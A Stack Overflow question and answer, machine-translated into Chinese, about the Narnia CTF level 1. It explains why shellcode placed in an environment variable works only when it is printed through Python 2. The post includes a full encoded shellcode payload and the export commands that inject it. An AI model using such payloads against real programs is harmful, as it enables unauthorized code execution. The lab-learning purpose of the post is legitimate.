为什么我们在执行之前用python打印shellcode?

Bur*_*ood 0 c python buffer-overflow

我目前正在通过纳尼亚 CTF 工作。我在第 1 级。在第 1 级,我们有一个调用环境变量的程序。我们可以改变这个环境变量。当我尝试将环境变量设置为某些十六进制代码时,程序会引发段错误。

export EGG="\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"
Run Code Online (Sandbox Code Playgroud)

我在网上看了一下,似乎人们通过让python打印来生成shellcode,然后将其存储为命令。当我使用上面的 shellcode 执行此操作时,它看起来像这样:

export EGG=$(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')
Run Code Online (Sandbox Code Playgroud)

当我这样做时,程序成功运行。有人可以解释这两个命令的不同之处吗?谢谢!

use*_*ica 5

export EGG="\xeb\x11...实际上并不解释转义序列。您正在设置EGG为带有文字反斜杠和十六进制字符的字符串。

当您使用 时export EGG=$(python -c 'print "\xeb\x11...,Python 的唯一工作就是解释转义序列。Python 接收带有文字反斜杠和十六进制字符的输入,并执行 Python 字符串文字解析,生成一个包含您想要的实际字节的字符串。

请注意,此代码依赖于使用 Python 2;Python 3 字符串处理非常不同。